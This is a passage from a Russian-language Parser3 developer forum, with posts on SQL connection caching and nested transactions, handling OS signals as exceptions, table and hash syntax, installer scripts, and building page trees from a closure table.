        $.nick[\
           $.class[string]\
           $.default[noname]\
        ]\
        $.reg_date[\
          $.class[date]\
          $.default{^date::now[]}\
        ]\
\
        $.avatar[\
          $.class[file]\
        ]\
    ][$.tupled(true) $.key[nameless]]\
]\
\
Получаем таблицу вида\
\
(n)    nick    reg_date   avatar\
 0     Ivan    <2015..>   <profile.jpg>\
 1     Peter   <2016..>   <profile2.jpg>\
\
[/code]\
\
$.tupled(true) просто не дает нам на ходу ломать кортеж и\
вставлять значения не сооветствующих классов.\
\
Сейчас таблицы в Парсере это фактически:\
Список кортежей с nameless-ключом для строк и классом string\
в полях."
"82359","С праздниками!\
Возможна ли авторизация в парсере пользователей с внешнего сайта  - в mysql через AD?"
"82360","Дополнительно спрошу.\
Подумал, что скорее нужно пользователей сайта авторизовать. То есть есть некая база mysql. На сайте будет К ней доступ. Пользователи заходят через AD."
"82361","Здравствуйте!\
Пишу первичную установку.\
Ниже код:\
[code]$find_connect[^file:find[/conf/connect.cfg]]\
^if($find_connect eq '/conf/connect.cfg'){\
	$load_connect[^table::load[/conf/connect.cfg]]\
	^if(def $load_connect.string){\
		$connect_string[$load_connect.string]\
	}\
	$create_connect[^connect[$connect_string]{\
		^void:sql{\
			CREATE TABLE IF NOT EXISTS `site` (\
				`id` INT NOT NULL AUTO_INCREMENT,\
				`logo` char(255) NOT NULL,\
				`name` char(255) NOT NULL,\
				`email` char(255) NOT NULL,\
				`catchword` char(255) NOT NULL,\
				`keywords` TEXT NOT NULL,\
				`description` TEXT NOT NULL,\
				`phonenumber` char(64) NOT NULL,\
				`address` TEXT NOT NULL,\
				`gps_width` char(64) NOT NULL,\
				`gps_length` char(64) NOT NULL,\
				PRIMARY KEY(id)\
			) ENGINE=InnoDB DEFAULT CHARSET=utf8;\
		}\
	}]\
	^if($create_connect){\
		^file:delete[/install.html]\
		$response:refresh[\
			$.value(0)\
			$.url[/]\
		]\
	}\
}{\
	<div id=\"connect\">\
		<form id=\"connectForm\" name=\"connectForm\" method=\"POST\" accept-charset=\"UTF-8\">\
			<input type=\"text\" name=\"db_user\" placeholder=\"Username\" required>\
			<input type=\"text\" name=\"db_pass\" placeholder=\"Password\" required>\
			<input type=\"text\" name=\"db_host\" placeholder=\"Host\" required>\
			<input type=\"text\" name=\"db_name\" placeholder=\"Name\" required>\
			<input type=\"submit\" name=\"db_connect\" value=\"Crete connection\">\
		</form>\
	</div>\
	^if(def ${form:db_user} && def ${form:db_pass} && def ${form:db_host} && def ${form:db_name} && def ${form:db_connect}){\
		$connect[^table::create{string}]\
		^connect.append{mysql://${form:db_user}:${form:db_pass}@${form:db_host}/${form:db_name}?charset=utf8}\
		^connect.save[/conf/connect.cfg]\
		$response:refresh[\
			$.value(0)\
			$.url[^taint[as-is][$request:uri]]\
		]\
	}\
}[/code]\
Суть в том, что строка подключения храниться в файле, если файл не найден, мы его создаем, если найден, берем от туда строку подключения и создаем таблицы.\
Пробовал подключаться без использования файла, сразу записывать в переменную строку подключения, результат везде одинаковый.\
Ниже ошибка:\
\
/install.html(8:26): 'mysql://****@rumysql1.activeby.net/geekco?charset=utf8' Access denied for user 'mizter'@'localhost' (using password: YES) [sql.connect]\
\
При этом и логин и пароль и хост и имя БД есть и все должно по логике работать."
"82362","Как правильно создавать таблицы?\
[code]		^void:sql{\
			CREATE TABLE IF NOT EXISTS `site` (\
				`id` INT NOT NULL AUTO_INCREMENT,\
				`logo` char(255) NOT NULL,\
				`name` char(255) NOT NULL,\
				`email` char(255) NOT NULL,\
				`catchword` char(255) NOT NULL,\
				`keywords` TEXT NOT NULL,\
				`description` TEXT NOT NULL,\
				`phonenumber` char(64) NOT NULL,\
				`address` TEXT NOT NULL,\
				`gps_width` char(64) NOT NULL,\
				`gps_length` char(64) NOT NULL,\
				PRIMARY KEY(id)\
			) ENGINE=InnoDB DEFAULT CHARSET=utf8;\
		}[/code]\
Это явно неверно, так как парсер выдал ошибку, а как правильно?"
"82363","после его авторизации во первых доступ к некоторым каталогам/файлам можно ограничить средствами апача, а во вторых можно из парсера почитать установленную им переменную окружения, чтобы понать кто авторизован."
"82364","Правильно записывать нужно вот так, если кому пригодиться:\
[code]		^void:sql{\
			CREATE TABLE IF NOT EXISTS site (\
				id INT NOT NULL AUTO_INCREMENT,\
				logo char(255) NOT NULL,\
				name char(255) NOT NULL,\
				email char(255) NOT NULL,\
				catchword char(255) NOT NULL,\
				keywords TEXT NOT NULL,\
				description TEXT NOT NULL,\
				phonenumber char(64) NOT NULL,\
				address TEXT NOT NULL,\
				gps_width char(64) NOT NULL,\
				gps_length char(64) NOT NULL,\
				PRIMARY KEY(id)\
			)\
		}[/code]"
"82365","Вам достаточно было убрать ; в конце запроса. А вы написали другой запрос. В частности убрав Engine и Charset вы получите таблицу с движком и кодировкой по умолчанию сервера, которые могут быть вовсе не innodb и не utf8 соответственно. Убирать `` с имен полей не следует, хотя это не критично"
"82367","[code]^connect[…]{\
# весь код\
}[/code]"
"82368","... между вызовами оператора connect. Соединение будет закрыто только в конце работы скрипта.\
\
[code]\
  ^connect[$connect-string]{\
    Открыли соединение и не закрываем его.\
  }\
  ...\
  ^connect[$connect-string]{\
     Используем тоже самое соединение.\
  }\
[/code]\
\
На каждый новый запуск Парсера создаётся новое соединение с базой. В MySQL коннекты к базе дешевые (быстрые). Для СУБД, где конекты дорогие и для вашей задачи это критично, то нужно делать пул соединений. Например, для Postgresql, где соединения дорогие (Постгрес форкает свой процесс при каждом соединении), лучше запустить внешний [url=http://pgpool.net/mediawiki/index.php/Main_Page]Pgpool[/url], чтобы шарить соединения между вызовами Парсера."
"82370","В последних версиях mysql появилась неприятная особенность выкидывать too many connections при том что в настройках лимиты огромные. Есть ли похожий трюк для mysql чтоб не закрывать соединение между вызовами парсера?"
"82371","Никаких \"особенностей\" в мускуле не появилось - разбирайтесь что у вас держит коннекты."
"82374","Да, таки разобрался. Прикол в том, что когда в конфиге ставишь max_connection побольше - он их сбрасывает на 241... Нашел причину - лимит открытых файлов в linux по-умолчанию мал для установки значений выше. Уже решил."
"82375","Не планируется ли возможности обрабатывать сигналы ОС в режиме интерпретатора скриптов?\
\
Полезно было бы иметь возможность, скажем, «прибирать за собой» при завершении, корректно останавливать обработку данных."
"82376","Какие сигналы, какие действия планируется делать. В идеале API предложить. Сделать в общем можно, хотя понятно есть потенциальные проблемы с прерыванием процесса выполнения в произвольный момент времени."
"82377","Когда он нам приходит, то выбрасываем исключение parser.terminate, которое может спокойно пройти по стеку из catch/finally. Если не хотим завершать, то тупо $exception.handled(true) и продолжаем работать как ни в чем ни бывало."
"82378","Плюс SIGINT был бы полезен.\
Можно не закрываться, а останавливать действие."
"82379","Не понятно немного.\
Вы хотите сделать автоматическую авторизацию из IE пользователя в АД ?\
Или авторизацию из любого браузера путем ввода логина и пароля с последующей проверкой в АД?"
"82381","Автоматическую не нужно. Через ввод логина/пароля пользователя AD в браузере. То есть автоматическая тоже не помешает внутри локальной сети.\
Впрочем мне этот проект не дали делать. Он связан с переносом баз в Россию. Я когда подумал, предположил, что авторизация всех пользователей в самой mysql не понадобиться, достаточно одного логина для базы. К тому же у всех, кроме админа, доступ только на чтение."
"82382","который будет сверять пары логин и пароль и отвечать true/false, а дальше уже можно использовать \
https://bitbucket.org/ovolchkov/parser3-pf/src/663a19d8b94100f1ee883cf131d2e55f88d84c26/auth/?at=pf\
Как базу к которой прикрутить уже внешние утилиты"
"82383","например как в php и т.д.\
для новичка было бы удобней разбираться желающих стало бы больше работать с [b]Parserom[/b]\
\
В примерах например вот эта ссылка не работает http://www.spearance.ru/parser3/pictures/source/"
"82385","Держите: https://bitbucket.org/ovolchkov/parser3-pf/overview"
"82387","Не работает:\
[code]$t[^table::create[nameless]{a	b\
c	d}]\
\
$h[^t.hash[0;1;$.type[string]]]\
\
^json:string[$h][/code]\
\
Работает:\
[code]$t[^table::create{0	1\
a	b\
c	d}]\
\
$h[^t.hash[0;1;$.type[string]]]\
\
^json:string[$h][/code]\
\
Почему бы не поддерживать хеширование nameless-таблиц?"
"82388","Как нам [url=http://www.parser.ru/docs/lang/?tablecreate.htm]говорит документация[/url]:\
[quote]Из опций формата пока доступен только $.separator[/quote]\
\
При необходимости создать таблицу из имеющегося текста приходится плясать с ручным разбором или временным файлом и table::load.\
Будет ли возможность задавать separator и encloser?"
"82389","Задача #1060, заведена 24 дня назад. :) Так что будет..."
"82390","Как документация будет готова, надеюсь уже скоро. Отправил ссылку, где можно скачать."
"82391","Здравствуйте, подскажите пожалуйста как правильно поствить символ (.) в условиях?\
\
Т.е. мы выводим данные с файла cfg после чего эти данные оформляем.\
\
[code]@index_1_cell[sections]\
^if($sections.uri ne $request:uri && ^request:uri.pos[$sections.uri] == 0){\
	<p>$sections.name_no_1</p>\
}{\
	<p class=\"body_list\"><a href=\"$sections.uri\" class=\"underline\">$sections.name_no_1</a></p>\
}[/code]\
\
Мне необходимо после каждого .name_no_1 ставить точку, если я ставлю точку то выдает сразу ошибку.\
\
[code]@index_1_cell[sections]\
^if($sections.uri ne $request:uri && ^request:uri.pos[$sections.uri] == 0){\
	<p>$sections.name_no_1[b].[/b]</p>\
}{\
	<p class=\"body_list\"><a href=\"$sections.uri\" class=\"underline\">$sections.name_no_1</a></p>\
}[/code]"
"82392","[code]<p>${sections.name_no_1}.</p>[/code]"
"82393","Последовательные коннекты кэшируются, а вложенные — нет.\
В результате чего можно получить лок в транзакции.\
\
[code]@main[]\
$code{\
	^void:sql{\
		UPDATE table\
		SET field = NOW()\
		WHERE id = 1\
	}\
}\
\
^connect[$MAIN:SQL.connect-string]{\
	^void:sql{START TRANSACTION}\
\
	$code\
\
	^connect[$MAIN:SQL.connect-string]{\
		$code\
	}\
\
	^void:sql{COMMIT}\
}[/code]\
\
[code]160117 21:50:40	   75 Connect	root@localhost on db\
		   75 Query	SET CHARACTER SET utf8\
		   75 Query	START TRANSACTION\
		   75 Query	UPDATE table\
		SET field = NOW()\
		WHERE id = 1\
		   76 Connect	root@localhost on db\
		   76 Query	SET CHARACTER SET utf8\
		   76 Query	UPDATE table\
		SET field = NOW()\
		WHERE id = 1\
160117 21:52:41	   76 Quit	\
		   75 Quit	[/code]\
\
Либо ошибка, если соединение должно кэшироваться, либо вакуум в документации.\
Win 7 x64, Parser 3.4.4 RC."
"82394","Доброго времени суток! Уберите пожалуйста неработающие ссылки с раздела http://www.parser.ru/links/\
\
[b]Документации на русском языке:[/b]\
\
1. http://www.rol.ru/news/it/helpdesk/html32.htm\
2. http://www.rol.ru/news/it/helpdesk/js/index.html\
3. http://www.rol.ru/news/it/helpdesk/xpath01.htm\
4. http://www.rol.ru/news/it/helpdesk/xml01.htm\
5. http://beshenov.ru/xhtml-faq-ru.html\
6. http://beshenov.ru/wcag10-css-techs-ru.html\
7. http://beshenov.ru/xml-stylesheet-ru.html\
8.http://beshenov.ru/dces-ru.html\
\
[b]Документации на английском языке:[/b]\
\
1. http://hoohoo.ncsa.illinois.edu/cgi/env.html\
\
а так же с http://www.parser.ru/examples/\
\
1. http://www.spearance.ru/parser3/pictures/source/"
"82395","Пришлите пожалуйста ссылочку на [уже не актуально]"
"82396","Извне ^connect[]{} соединение считается неиспользуемым и поэтому может быть использованно повторно. В вашем случае соедиение используется, поэтому при повторном запросе естественно открывается новое соединение."
"82397","Я с трудом представляю себе задачу когда нужно открыть два одинаковых соединения в Парсеровском скрипте. Но могу представить задачу, когда мне надо объединить несколько запросов, которые, как правило, выполняются отдельно в одну транзакцию:\
\
[code]\
@addUser[...]\
  ^connect[connect-string]{\
     ^void:sql{insert ...}\
  }\
\
@modifyUser[...]\
  ^connect[connect-string]{\
     ^void:sql{update ...}\
  }\
\
@main[]\
  ^connect[connect-string]{\
    ^void:sql{begin}\
     ^addUser[...]\
     ...\
     ^modifyUser[...]\
     ^void:sql{commit}\
  }\
[/code]\
\
В этом случае не только лишние соединения плодятся, но еще и дедлоки вылезают. Причем понять причину этих дедлоков не создавая лог на уровне СУБД невозможно. Да и лишние конекты никому не нужны. Именно на это мы вчера с G_Z и напоролись.\
\
Поэтому поддержу Лешу — кешировать вложенные соединения надо также как и последовательные. \
\
Более того, я бы в cgi-версии сделал кеширование соединений на все время жизни скрипта. Если уж нам надо два соединения, то они явно будут к разным базам и не факт, что их можно сделать строго последовательными."
"82398","Не согласен. Кеширование - общий механизм и для модуля apache, и для isapi. Плюс надо не забывать о потенциальной многопоточности. Мне кажется очень странной идея выполнять запросы одного соедиения в другом соедиении, пусть у них и одинаковые параметры подключения."
"82400","[quote] которое может спокойно пройти по стеку из catch/finally.[/quote]\
\
До unhandled_exception? :) Кто ^try-то писать будет и где?\
\
[quote]Если не хотим завершать, то тупо $exception.handled(true) и продолжаем работать как ни в чем ни бывало.[/quote]\
\
И с какого момента мы продолжим работать? :)"
"82401","Если у нас вдруг появится многопоточный fastcgi- сервер, то connect будет кешировть соединения в рамках одной нити, а не всего сервера."
"82402","[quote]а останавливать действие.[/quote]\
\
Поподробнее пожалуйста, что значит \"останавливать действие\"? :)"
"82403","Если мы получили сигнал, то выбрасываем исключение в том месте потока выполнения где сейчас находимся. Вот только что будет с производительностью — проверять флаг после каждой инструкции не очень здорово. :)"
"82404","[code]@main[]\
^try{\
	^run[]\
}{\
	^if($exception.type eq 'parser.terminate' && $exception.source eq 'sigterm'){\
		$exception.handled(true)\
		^break[]\
	}\
}{\
	^clear[]\
}\
\
\
@run[]\
^while(true){\
	^try{\
		^do[]\
	}{\
		^if($exception.type eq 'parser.terminate' && $exception.source eq 'sigint'){\
			$exception.handled(true)\
			^break[]\
		}\
	}\
}\
\
\
@do[]\
^eval(2 * 2)[/code]\
\
То есть по sigint можно прервать цикл, загрузку файла и так далее — текущее действие скрипта, а по sigterm — прибрать за собой, откатить транзакцию, записать что-то в лог и умереть."
"82405","Да легко. Например у меня код, в котором BEGIN - COMMIT. И использую библиотеку, которая внутри говорит ^connect[]{BEGIN - COMMIT}. Сейчас все сработает корректно, а будет разваливаться. Да и вообще повторный коннект - вполне себе способ обходить отсутствие вложенности транзакций."
"82406","... Если вложенная транзакция использует таблички из объемлющей. Ровно это мы вчера и словили в виде дедлоков. По мне так лучше получить ошибку от субд, если вложенные транзакции не поддерживаются, чем смотреть на дедлоки."
"82407","Так в обоих случаях выходит ошибка. Только если менять текущее поведение, обратная совместимость может пострадать..."
"82408","Наверное имеет смысл сделать комментарий в документации. В pf мы это уже пофиксили."
"82409","Ибо [url=http://www.parser.ru/docs/lang/opconnect.htm]документация нам говорит[/url]:\
[quote]Parser (в виде модуля к Apache или IIS) кеширует соединения с SQL-серверами, и [b]повторный SQL запрос на соединение с той же строкой подключения не производится[/b], а соединение берется из кеша, если оно еще действительно. \
\
Вариант CGI также кеширует соединение, но только на один http запрос (обработка одного документа)[…][/quote]\
\
Насколько понимаю, политика относительно подобного рода недокументированных возможностей — «может перестать работать в любое время».\
\
Так что считаю, что об обратной совместимости особо беспокоиться не нужно.\
\
Также приведенный пример необходимости вложенных соединений гораздо более странный, чем мой пример, и ведёт ровно к тем же проблемам.\
Сомневаюсь, что кто-то умышленно так делает и знает о последствиях в виде новых коннектов и локов.\
\
Согласен, что случай специфический и оговорка про «действительность» соединения резонна.\
Но если поймать лок не так просто, то генерация соединений на ровном месте совсем неожиданна."
"82410","Да, понятно что можно писать код с оглядкой на возможность возникновения таких исключений. Но как быть с существующим кодом, который говорит оптом $exception.handled(1)? Получается, что обработку сигналов придется по умолчанию выключать, и включать только когда это нужно? Как лучше это делать?\
\
[code]^for(i;0;10){\
    ^try{\
        ^log[PD $url load]\
        $file[^curl:load[$params]]\
\
        ^if($file.status eq '200'){\
            $result[$file.text]\
            ^break[]\
        }($file.status eq '404'){\
            ^break[]\
        }{\
            ^sleep(1)\
            ^log[PD $url load got $file.status - sleeping & retrying]\
        }\
    }{\
        $exception.handled(1)\
        ^log[PD $url load exception $exception.comment]\
    }\
}\
[/code]"
"82411","Если старый код делает handled(true), то все нормально — пусть работает дальше. Такие процессы можно всегда прибить через sigkill."
"82412","Кому надо берите тут 693369.рф/files/ckeditor.zip\
в данном архиве:\
Ckeditor\
Ckfinder\
Пример работы и ссылки по установке, настройке."
"82413","Во всём архиве нет ни строчки парсерного кода.\
PHP."
"82414","Сайт где лежит этот архив написан на Парсер. \
В админке установлен редактор текста Ckeditor, было не очень удобно вставлять фото в текст без Ckfinder."
"82415","... было бы полезнее увидеть код на Парсере, который показывает как вы интегрировали ckeditor с админкой. Или статью на эту тему. :)"
"82416","Вот только подвисающих парсеров, которых надо отдельно убивать, мне еще и не хватало. :)"
"82417","$exception.handled(1) вообще достаточно огульный подход.\
Игнорируя любые исключения в примере код проигнорирует и сигнал.\
\
Но, как правильно пишет Олег, приложение не обязано завершатся.\
При этом оба обсуждаемых сигнала — прерывания и их обработка в качестве исключений логична: действие прерывается, приложение может завершиться, а может продолжить работу.\
\
[quote]Получается, что обработку сигналов придется по умолчанию выключать, и включать только когда это нужно?[/quote]\
\
Какой-то более вычурный, нежели исключения, интерфейс понадобился бы для обработки «уведомительных» сигналов.\
Но есть сомнения в такой необходимости.\
Полезны, разве что, SIGHUP да SIGALRM.\
\
Более того, при необходимости их можно будет добавить в виде отдельного механизма, какого-нибудь глобального $signal, по аналогии с $exception, который бы просто был доступен для проверки и не вызывал исключений.\
\
А «исключительные» сигналы так или иначе должны вызывать исключения."
"82418","И вообще ты злой какой-то. Такие миленькие Парсеры, висят себе в памяти потихоньку. Красота же. :)"
"82420","Это мой код. :) Не вижу никакой проблемы в $exception.handled(1): исключение не глотается молча, а логгируется; какие там помимо таймаута есть/будут исключения внутри curl:load - никто не знает."
"82421","[quote]какие там помимо таймаута есть/будут исключения внутри curl:load - никто не знает[/quote]\
\
Но при этом тип их всех начинается с «curl.» и перехватывать можно строго их."
"82423","Год назад выяснили, что в [url=http://www.parser.ru/docs/lang/?jsonparse.htm]документации по json:parse[/url] ошибка в примере.\
Тогда же [url=http://www.parser.ru/forum/?id=80680]заходила речь об обработчике для строк[/url].\
Не планируется ли таковой?\
\
Те же даты не десериализовать, только рекурсивно обходить хеш и делать замены."
"82424","[quote]Красота же.\
[/quote]\
\
:) В общем жду предложений по синтаксису, у меня особых идей нет."
"82425","У меня стойкое ощущение, что эффективнее хеш обойти, чем для каждой строки из json метод вызывать..."
"82426","Трудно сказать, что это плюс Go"
"82427","Здравствуйте уважаемые гуру и монстры парсера! Написал b2b систему. Используется Parser, MySQL на стороне сервера, Jqueri, JqueriUI на стороне клиента, естественно Ajax, табы, модальные окна и т.д.. Так вот есть проблема... Страницы с товарами грузяться на мой взгляд медленно. Например при объеме 6,2 мб из которых 5,5 мб картинок, которые догружаются в процессе, страница грузиться 6-8 секунд, при этом загружается примерно 200 карточек моделей по Ajax в один из блоков. Но ограничение до 20 карточек путем установки лимита в SQL запросе в лучшем случае дает возможность сократить время загрузки до 3-5 секунд. Подскажите кто сталкивался это нормально? Как можно оценить с какой стороны работает медленно со стороны сервера или со стороны клиента? Заранее спасибо за ответ."
"82428","Если не секрет, то планируется ли релиз в этом году, а то версия 3.4.3 вышла 01 ноября 2013?)"
"82429","Найти проблемное место и понять почему оно тормозит. Сначала смотрим в инструменты для разработчика в браузере и ищем где возникает задержка. Тут уже масса вариантов: сеть тормозит или ответ очень большой и передается медленно, медленный рендеринг в браузере, медленная генерация ответа на сервере (время ожидания ответа от сервера от момента передачи запроса до момента начала передачи ответа).\
\
Если проблема в медленной генерации ответа Парсером, то надо померить на что тратит время ваш скрипт. Тут вам поможет http://www.parser.ru/docs/lang/statusrusage.htm. Заодно стоит записать лог запросов в базу данных в котором зафиксировать сам запрос и время его выполнения. Медленные запросы анализируем через explain в СУБД. И т.д. и т.п. :)\
\
p.s. Термин «медленно» зависит от задачи и от требований к системам. Для каких-то ситуаций можно ответ подождать пару минут, а для некоторых задач сто миллисекунд — это верхний предел. Обычно для веба норма 100-500 миллисекунд на генерацию ответа. Если добавить затраты на сеть и рендеринг в браузере, то получим 0,3-1 секунду на весь процесс. одна секунда — это уже психологический барьер при котором пользователь начинает считать, что сайт тормозит."
"82431","Предлагаю рассмотреть возможность передачи break аргумента, приводимого к bool.\
Если true — выход из цикла, если false — продолжение цикла.\
\
Упростит конструкции:\
[code]^while(true){\
	…\
	^if($a > $b){\
		^break[]\
	}\
}[/code]\
до:\
[code]^while(true){\
	…\
	^break($a > $b)\
}[/code]\
\
Так же можно модернизировать и ^continue[]."
"82434","Часто им пользуюсь но тут проблема на пустом месте и она мне не понятна:\
[code]^dshow[$p]\
^p.foreach[$k;$v]{\
	^dshow[$v]\
	<a href=\"$v.url\">$v.name</a>\
}[/code]\
\
^dshow[$p] - показывает значение хэша:\
[code]$.a1[\
	$.name[Обучение в Англии]\
	$.url[/uk/]\
	$.chats[sg218104077]\
]\
$.a2[\
	$.name[Школы в Англии]\
	$.url[/uk/schools/]\
	$.chats[sg218104091]\
][/code]\
\
Но как только заходит в перебор foreach, то\
^dshow[$v] - показывает что хэш уже пустой.\
Так же переменная $k тоже пустая в Итоге получаю:\
[code]<a href=\"\"></a><a href=\"\"></a>[/code]\
\
==========\
Пока писал, придумал, и обошел этот недуг, но он пройдет только в моём конкретном случае:\
[code]^for[i](1;^p._count[]){ \
	<a href=\"$p.[a$i].url\">$p.[a$i].name</a>\
}[/code]\
==========\
\
Вопрос, что не так в Foreach????"
"82435","Не надо использовать знак $ в переменных.\
\
[code]^p.foreach[k;v]{}[/code]"
"82438","Вот в почту если не сложно: saimborg(at)gmail(dot)com\
собственнов в профиле она же"
"82440","Странно себя ведёт finally.\
При остановке цикла в нём выполняется только часть инструкций.\
В примере ниже текст «finally» выведен не будет, всё закончится на выполнении вызова method.\
\
Ловил и совсем мистические ошибки, именно при выполнении кода в finally.\
\
[code]@main[]\
^while(true){\
	^try{\
		^break[]\
	}{\
		$exception.handled(true)\
	}{\
		^method[]\
# 		дальше метода дело не пойдёт\
		finally\
	}\
}\
\
@method[]\
[method result]\
[/code]\
\
Стоит убрать цикл — проблем нет.\
Что-то со стеком?\
\
Parser 3.4.4 RC, Win 7x64."
"82442","Добрый день.\
Если есть метод, принимающий параметры $sParam, $iParam, $tParam, $hParam, $bParam, который можно объявить:\
1. @m[sParam;iParam;tParam;hParam;bParam]\
2. @m[hData] - hData включает все параметры, перечисленные выше\
\
В первом случае запись короче, но при появлении новых параметров надо добавлять их в объявление метода или добавлять в конец hData, куда писать те, что приходят не всегда.\
Во втором случае нет ограничений по количеству параметров, но вызов более громоздкий, если приводить в удобочитаемый вид.\
\
Есть ли разница в быстродействии и потреблении ресурсов между этими методами?"
"82443","[quote]Есть ли разница в быстродействии и потреблении ресурсов между этими методами?[/quote]\
\
Могу предположить (замеров не делал), что передача аргументов в виде хеша даже быстрее и менее ёмка по памяти, так как хеш передаётся по ссылке.\
(Стоит помнить про возможные побочные эффекты в виде изменения переданного хеша).\
\
Но, думаю, в подобном случае быстродействие и ресурсоёмкость — последнее, о чём необходимо волноваться.\
Если передача в определённом виде упрощает понимание кода — так передавать и стоит, в каждом отдельном случае.\
\
Делать везде одинаково и передавать в крохотный метод, который никогда больше пары параметров принимать не будет, параметры хешем — не лучшее решение, как и городить забор из десятка аргументов."
"82445","Начиная с версии Parser 3.4.1, можно писать:\
\
[b]@имя[параметр1;параметр2;*параметры][/b]\
тело\
\
или просто\
[b]@имя[*параметры][/b]  \
тело\
\
пример:\
[code]\
@main[]\
^call[a;b;c]\
\
@call[p;*args]\
p=$p\
^args.foreach[k;v]{\
   $k=$v \
}[^#0A] \
\
Выведет: \
p=a \
0=b \
1=c \
# странно подсветка кода сломалась из-за (*) в параметрах...\
[/code]\
\
\
P.S:\
Лично я почти везде уже использую hash, не столько даже в угоду кол-ву параметров, сколько из-за произвольного порядка и главное именования(!) параметров, что очень облегчает разработку и отладку.\
\
[code]\
@main[]\
  ^func[\
     $.Domain[mysite.ru]\
     $.Url[home.html]\
   ]\
\
@func[_p][locals]\
  ^if(!def $_p.Proto){$_p.Proto[http^:]}\
  $result[Your link is $_p.Proto//$_p.Domain/$_p.Url]\
\
\
# чтобы случайно переписать или перетереть локальный хеш _p чем-то извне\
# для этого надо специально постараться\
\
[/code]"
"82446","Добрый день!\
Использую Closure Table для хранения структуры приложения.\
Есть две таблицы, pages и path.\
В pages хранятся все данные, а в path 3 столбца:\
anc (родитель)	dsc (предок)	lvl (уровень вложенности).\
Если страница родитель, то она ссылается на саму себя.\
Задача получить дерево.\
Ознакомился с примером, попробовал сделать сам, привожу ниже код, который пробовал и который не работает:\
[code]^rem{Получаем родителей, страницы у которых уровень вложенности = 1}\
@getParentPages[iPagesID;iLevelID;iLimit]\
^connect[$connect_string]{\
	$result[^table::sql{\
		SELECT\
			anc,\
			dsc,\
			lvl\
		FROM\
			path\
		WHERE\
			1 = 1\
			^if($iPagesID is \"table\"){\
				^if($iPagesID){\
					AND anc IN (^iPagesID.menu{$iPagesID.pID}[,])\
				}\
			}{\
				AND anc = ^iPagesID.int(0)\
			}\
			^if(def $iLevelID){\
				AND lvl  = ^iLevelID.int(0)\
			}\
		ORDER BY\
			lvl\
	}[\
		^if(^iLimit.int(0)){\
			$.limit(^iLimit.int(0))\
		}\
	]]\
}\
^rem{Получаем потомков страниц}\
@getPages[iPagesID;iLimit]\
^connect[$connect_string]{\
	$result[^table::sql{\
		SELECT\
			*\
		FROM\
			pages p\
		JOIN\
			path t\
		ON\
			(p.pID = t.dsc)\
		WHERE\
			1 = 1\
			^if($iPagesID is \"table\"){\
				^if($iPagesID){\
					AND t.anc != t.dsc\
					AND t.anc IN (^iPagesID.menu{$iPagesID.anc}[,])\
				}\
			}{\
				AND t.anc != t.dsc\
				AND t.anc = ^iPagesID.int(0)\
			}\
		ORDER BY\
			anc,\
			lvl\
	}[\
		^if(^iLimit.int(0)){\
			$.limit(^iLimit.int(0))\
		}\
	]]\
}\
\
@createHashTree[tPage]\
$result[^tPage.hash[anc][$.distinct[tables]]]\
\
@printTreeItem[hPage;sBody]\
$result[<li>$hPage.title^if(def $sBody){<ul>$sBody</ul>}</li>]\
\
@printPages[hTree;iParentID][tLevel]\
^if($hTree.[$iParentID]){\
	^hTree.[$iParentID].menu{\
		^printTreeItem[$hTree.[$iParentID].fields;^if($hTree.[$hTree.[$iParentID].id]){^printPages[$hTree;$hTree.[$iParentID].id]}]\
	}\
}\
\
\
^rem{Здесь все и вызывается}\
@addPage[params]\
^rem{Получаем страницы, у которых тип страницы указан как раздел}\
$sections[^get.getPages[$.tID[1]]]\
\
$rootPages[^getParentPages[$sections;1]]\
$tPages[^getPages[$rootPages]]\
$hTree[^createHashTree[$tPages]]\
\
^printPages[$hTree]\
^json:string[$hTree]\
[/code]\
\
В итоге ничего не выводит.\
JSON выдает следующие результаты:\
[code]{ \"7\":[ {\"pID\":\"17\",\"tID\":\"1\",\"uID\":\"7\",\"sort\":\"10\",\"valid\":\"true\",\"title\":\"Wassup\",\"keywords\":\"\",\"description\":\"\",\"url\":\"wassup\",\"name\":\"Wassup man!\",\"content\":\"\",\"img\":\"\",\"price\":\"\",\"create_at\":\"2016-01-30 19:13:50\",\"update_at\":\"0000-00-00 00:00:00\",\"anc\":\"7\",\"dsc\":\"17\",\"lvl\":\"2\"}, {\"pID\":\"27\",\"tID\":\"1\",\"uID\":\"7\",\"sort\":\"10\",\"valid\":\"true\",\"title\":\"Test 2\",\"keywords\":\"\",\"description\":\"\",\"url\":\"test_2\",\"name\":\"Test 2\",\"content\":\"\",\"img\":\"\",\"price\":\"\",\"create_at\":\"2016-01-30 19:18:13\",\"update_at\":\"0000-00-00 00:00:00\",\"anc\":\"7\",\"dsc\":\"27\",\"lvl\":\"2\"} ] }[/code]"
"82447","... а вы передаете только один. Условие ^if($hTree.[$iParentID]) у вас не будет верным никогда.\
\
p.s. Мне кажется, что в примере на сайте Парсера дана более простая схема работы с деревьями. :)"
"82448","[code]$sections[^get.getPages[$.tID[1]]]\
$rootPages[^getParentPages[$sections;1]]\
$tPages[^getPages[$rootPages]]\
$hTree[^createHashTree[$tPages]]\
^json:string[$hTree]\
^printPages[$hTree;$rootPages.pID][/code]\
\
Код получился таким, что он не выполняет поставленные задачи.\
Я записал в базу 2 корневых родителя.\
У первого родителя есть 3 потомка, у второго их нет.\
У потомков первого родителя есть еще потомки и у этих потомков еще.\
В сумме получается дерево состоит из 4 уровней.\
А получился результат, в котором содержится лишь 2 потомка корневого родителя, при этом эти 2 потомка не содержат детей, то есть код не показывает потомков у которых есть еще потомки.\
\
\
Ниже таблица с деревом:\
[code]\
anc	dsc	lvl\
7	7	1\
7	17	2\
7	27	2\
17	37	3\
37	67	4\
47	47	1\
[/code]"
"82449","Задача состоит из двух частей. Научиться хранить и извлекать деревья в СУБД. Для этого надо без всякого Парсера сделать структуру БД, написать и проверить, что запросы возвращают что нужно. \
\
Потом уже придумывать как выводить дерево в программе. Не факт, что метод отображения из примеров подойдет для вашего алгоритма хранения дерева.\
\
p.s. Для интересующихся. Есть отличная книга Joe Celko's \"Trees and hierarchies in SQL for smarties\" про работу с деревьями в  SQL. PDF легко находится яндексом — https://yandex.ru/search/?text=Joe%20Celko%27s%20Trees%20and%20hierarchies%20in%20SQL%20for%20smarties&lr=213&clid=47595"
"82450","Знаю, что где-то есть ошибка, и нет рекурсивности.\
\
Вот что делаю по шагам:\
1. Получаю все записи с tID = 1 (1 это тип Категория или Раздел).\
2. Получаю из таблицы path все страницы первого уровня.\
3. Нахожу всех детей страниц первого уровня.\
4. Ошибка.\
\
Покажите где ошибка.\
Мне кажется Я ее нашел, правда не знаю как решить:\
\
[code]				WHERE\
					1 = 1\
					^if($iPagesID is \"table\"){\
						^if($iPagesID){\
							AND t.anc != t.dsc\
